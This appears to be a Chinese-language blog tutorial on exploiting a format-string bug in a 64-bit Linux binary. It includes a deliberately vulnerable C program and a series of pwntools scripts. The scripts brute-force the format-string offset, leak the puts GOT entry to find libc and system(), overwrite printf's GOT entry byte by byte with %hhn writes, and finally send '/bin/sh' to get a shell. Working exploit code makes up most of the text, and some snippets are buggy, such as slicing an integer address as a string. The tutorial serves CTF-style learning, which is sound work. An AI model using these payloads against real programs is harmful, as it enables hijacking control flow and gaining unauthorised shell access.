前言
格式化字符串漏洞是最基础也是很老的一个漏洞了,网上一搜索就会有一堆的解释、原理、以及利用,但全都是对32位的格式化漏洞的解析,64位的几乎没有,就算有也被一笔带过。
但是当你利用格式化漏洞来修改64位elf的got表时,你会发现并没有详细的那么简单,虽然和32位的原理一样,但payload的构建方法却有所差别。 甚至难度也大大增加 故此有了此处尝试以及尝试后的一些总结漏洞分析
#include
void huan(){
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
return;
}
int main(){
char s[60];
huan(); //该函数用来设置缓冲区
while(1){
puts("plese input:");
read(0,s,0x60);
printf(s);
printf("n");
}
return 0;
}
漏洞成因
程序分析
开始利用
def pianyi(pwn_name,x = 'x'):
print('pwn_name=' + pwn_name + ',x=' + x)
i = 0
while True :
r = process(pwn_name) //用来打开程序运行测试偏移
i += 1
/*这里我直接发送了payload,因为不同的程序,前面可能需要接收不同的数据,
所以师傅们用的时候,需要在此处加上recv进行接收数据*/
payload = 'a'*4 + '.' + '%' + str(i) + '$' + '8x'
r.sendline(payload)
r.recvuntil("aaaa.")
r_recv = r.recv(8)
print('*'*10 + r_recv + '*'*10)
if r_recv == '61616161':
print(payload)
if x == 'x':
s = '%' + str(i) + '$8x'
else :
s = '%' + str(i) + '$8' + str(x)
return s
break
一个我自己定义的小函数,该函数调用时要在 process前面调用,不然在返回偏移后程序也就终止了,因为我在函数中用了process
name参数是要进行查格式化字符串偏移的pwn_name,
x是该函数的返回值(一个字符串)选择返回在改偏移下不同的格式化字符,
该函数前面如果需要recv的话,需要自行添加
效果:
循环process目标程序,知道找到偏移,则返回偏移并退出
#-*-coding:utf-8 -*-
from pwn import *
#context.log_level = 'debug'
pwn_name = "./pwn33"
#******************格式化字符串偏移****************
def pianyi(pwn_name,x = 'x'):
print('pwn_name=' + pwn_name + ',x=' + x)
i = 0
while True :
r = process(pwn_name)
i += 1
payload = 'a'*4 + '.' + '%' + str(i) + '$' + '8x'
r.sendline(payload)
r.recvuntil("aaaa.")
r_recv = r.recv(8)
print('*'*10 + r_recv + '*'*10)
if r_recv == '61616161':
print(payload)
if x == 'x':
s = '%' + str(i) + '$8x'
else :
s = '%' + str(i) + '$8' + str(x)
return s
break
#******************格式化字符串偏移****************
pianyi(pwn_name)
r = process(pwn_name)
file = ELF(pwn_name)
第二步:
有了偏移就可以泄露got表(其中要知道,由于延迟绑定技术,只有在程序中执行过的函数,got中才会绑定其真实地址,所以要泄露的时漏洞之前已经执行过的函数)
首先我们先按照32位的payload :
payload = p32(泄露地址) + %偏移$x 来构建
exp:
#-*-coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
pwn_name = "./pwn33"
#******************格式化字符串偏移****************
def pianyi(pwn_name,x = 'x'):
print('pwn_name=' + pwn_name + ',x=' + x)
i = 0
while True :
r = process(pwn_name)
i += 1
payload = 'a'*4 + '.' + '%' + str(i) + '$' + '8x'
r.sendline(payload)
r.recvuntil("aaaa.")
r_recv = r.recv(8)
print('*'*10 + r_recv + '*'*10)
if r_recv == '61616161':
print(payload)
if x == 'x':
s = '%' + str(i) + '$8x'
else :
s = '%' + str(i) + '$8' + str(x)
return s
break
#******************格式化字符串偏移****************
#pianyi(pwn_name)//只用泄露出偏移后就没多大用了,对于64位来说,还需改进,故注释
r = process(pwn_name)
file = ELF(pwn_name)
#*****************泄露got表*************************
r.recvuntil("plese input:")
puts_got = file.got['puts']
payload =p64(puts_got) + '%6$s'//如果和32位payload构建顺序一样地址在前,格式化字符在后,则。。。。。(看下面的效果图)
r.sendline(payload)
r.recvuntil('aaaa')
puts_addr = u64(r.recv(6) + '00')
#*****************泄露got表*************************
r.interactive()
效果图:
#-*-coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
pwn_name = "./pwn33"
/*由于求偏移的函数在后面已经没多大用了,为了简洁后面都给去除了*/
r = process(pwn_name)
file = ELF(pwn_name)
#*****************泄露got表*************************
r.recvuntil("plese input:")
puts_got = file.got['puts'] //获取got表的地址
payload = 'a'*4 + '%7$s' + p64(puts_got) //将地址放后面构建payload
r.sendline(payload)
r.recvuntil('aaaa')
puts_addr = u64(r.recv(6) + '00') //接收自got表中泄露出的真实地址
#*****************泄露got表*************************
r.interactive()
效果:
#-*-coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
pwn_name = "./pwn33"
r = process(pwn_name)
file = ELF(pwn_name)
#*****************泄露got表*************************
r.recvuntil("plese input:")
puts_got = file.got['puts']
payload = 'a'*4 + '%7$s' + p64(puts_got)
r.sendline(payload)
r.recvuntil('aaaa')
puts_addr = u64(r.recv(6) + '00')
#*****************泄露got表*************************
#*****************获取printf_got地址,并打印其真实地址*************
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so") //加载我们泄露出的服务器端的libc
printf_got = file.got['printf']
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
#*****************获取printf_got地址,并打印其真实地址*************
r.interactive()
效果:
#-*-coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
pwn_name = "./pwn33"
r = process(pwn_name)
file = ELF(pwn_name)
#*****************泄露got表*************************
r.recvuntil("plese input:")
puts_got = file.got['puts']
payload = 'a'*4 + '%7$s' + p64(puts_got)
r.sendline(payload)
r.recvuntil('aaaa')
puts_addr = u64(r.recv(6) + '00')
#*****************泄露got表*************************
#*****************获取printf_got地址,并打印其真实地址*************************
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")
printf_got = file.got['printf']
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
#*****************获取printf_got地址,并打印其真实地址*************************
#*****************修改printf_got地址,为sys地址*************************
r.recvuntil("plese input:")
payload1 = '%' + str(sys_addr) + 'c' + '%7$n' + p64(printf_got)
r.sendline(payload1)
#*****************修改printf_got地址,为sys地址*************************
r.interactive()
到这里或许有的师傅会觉得,也没见和32位的比有什么难度啊,不就是将地址给放到后面吗?
这有什么难的,我们也会,哎又一个水货,哈哈,请师傅耐心观赏:
#-*-coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
pwn_name = "./pwn1"
r = process(pwn_name)
file = ELF(pwn_name)
#*****************泄露got表*************************
r.recvuntil("plese input:")
puts_got = file.got['puts']
payload = 'a'*4 + '%7$s' + p64(puts_got + 1)
//不改变地址时,泄露的是完整的六位(减去最高位的两个零,为六位),现在尝试加一
r.sendline(payload)
r.recvuntil('aaaa')
puts_addr = u64(r.recv(6) + '00')
#*****************泄露got表*************************
r.interactive()
在不改动地址,直接泄露时可以发现,泄露出的是完整的六位
#-*-coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
pwn_name = "./pwn1"
r = process(pwn_name)
file = ELF(pwn_name)
#*****************泄露got表*************************
r.recvuntil("plese input:")
puts_got = file.got['puts']
payload = 'a'*4 + '%7$s' + p64(puts_got )
r.sendline(payload)
r.recvuntil('aaaa')
puts_addr = u64(r.recv(6) + '00')
#*****************泄露got表*************************
#*****************获取printf_got地址,并打印其真实地址*************************
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
printf_got = file.got['printf']
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
payload = 'a'*4 + '%7$s' + p64(printf_got)
r.sendline(payload)
r.recvuntil('aaaa')
printf_addr = u64(r.recv(6) + '00')
#*****************获取printf_got地址,并打印其真实地址*************************
#*****************修改printf_got地址,为sys地址*************************
r.recvuntil("plese input:")
sys_addr_min = sys_addr[6:]
a = int(sys_addr_min[2:4],16)
b = int(sys_addr_min[4:6],16)
c = int(sys_addr_min[6:8],16)
if a < b or b < c :
execfile("pwn2.py")
quit()
payload1 = '%' + str(c) + 'c' + '%11$hhn'
payload1 += '%' + str(b - c) + 'c' + '%12$hhn'
payload1 += '%' + str(a - b) + 'c' + '%13$hhn'
n4 = len(payload1)
n5 = 0
if n4 < 40 :
n5 = 40 - n4
payload1 += 'a'*n5
n6 = len(payload1)
payload1 += p64(printf_got) + p64(printf_got+1) + p64(printf_got+2)
r.sendline(payload1)
#*****************修改printf_got地址,为sys地址************************
r.interactive()
#-*-coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
pwn_name = "./pwn1"
#******************格式化字符串偏移****************
def pianyi(pwn_name,x = 'x'):
print('pwn_name=' + pwn_name + ',x=' + x)
i = 0
while True :
r = process(pwn_name)
i += 1
payload = 'a'*4 + '.' + '%' + str(i) + '$' + '8x'
r.sendline(payload)
r.recvuntil("aaaa.")
r_recv = r.recv(8)
print('*'*10 + r_recv + '*'*10)
if r_recv == '61616161':
print(payload)
if x == 'x':
s = '%' + str(i) + '$8x'
else :
s = '%' + str(i) + '$8' + str(x)
return s
break
#******************格式化字符串偏移****************
r = process(pwn_name)
file = ELF(pwn_name)
#pianyi(pwn_name)# %6$8x
#*****************泄露got表*************************
r.recvuntil("plese input:")
puts_got = file.got['puts']
payload = 'a'*4 + '%7$s' + p64(puts_got)
r.sendline(payload)
r.recvuntil('aaaa')
puts_addr = u64(r.recv(6) + '00')
#*****************泄露got表*************************
#*****************获取printf_got地址,并打印其真实地址*************************
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
printf_got = file.got['printf']
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
payload = 'a'*4 + '%7$s' + p64(printf_got)
r.sendline(payload)
r.recvuntil('aaaa')
printf_addr = u64(r.recv(6) + '00')
#*****************获取printf_got地址,并打印其真实地址*************************
#*****************修改printf_got地址,为sys地址*************************
r.recvuntil("plese input:")
sys_addr_min = sys_addr[6:]
print('*'*10 + 'sys_addr:' + str(sys_addr_min) + '*'*10)
a = int(sys_addr_min[2:4],16)
b = int(sys_addr_min[4:6],16)
c = int(sys_addr_min[6:8],16)
if a < b or b < c :
execfile("pwn2.py")
quit()
payload1 = '%' + str(c) + 'c' + '%11$hhn'
payload1 += '%' + str(b - c) + 'c' + '%12$hhn'
payload1 += '%' + str(a - b) + 'c' + '%13$hhn'
n4 = len(payload1)
n5 = 0
if n4 < 40 :
n5 = 40 - n4
payload1 += 'a'*n5
n6 = len(payload1)
payload1 += p64(printf_got) + p64(printf_got+1) + p64(printf_got+2)
r.sendline(payload1)
#*****************修改printf_got地址,为sys地址*************************
r.recvuntil("plese input:")
r.sendline("/bin/sh")
r.interactive()
更多好文
对PHPOK的一次审计 | 新手向Thinkphp 6.0反序列化链再挖掘Windows内网协议学习NTLM篇之漏洞概述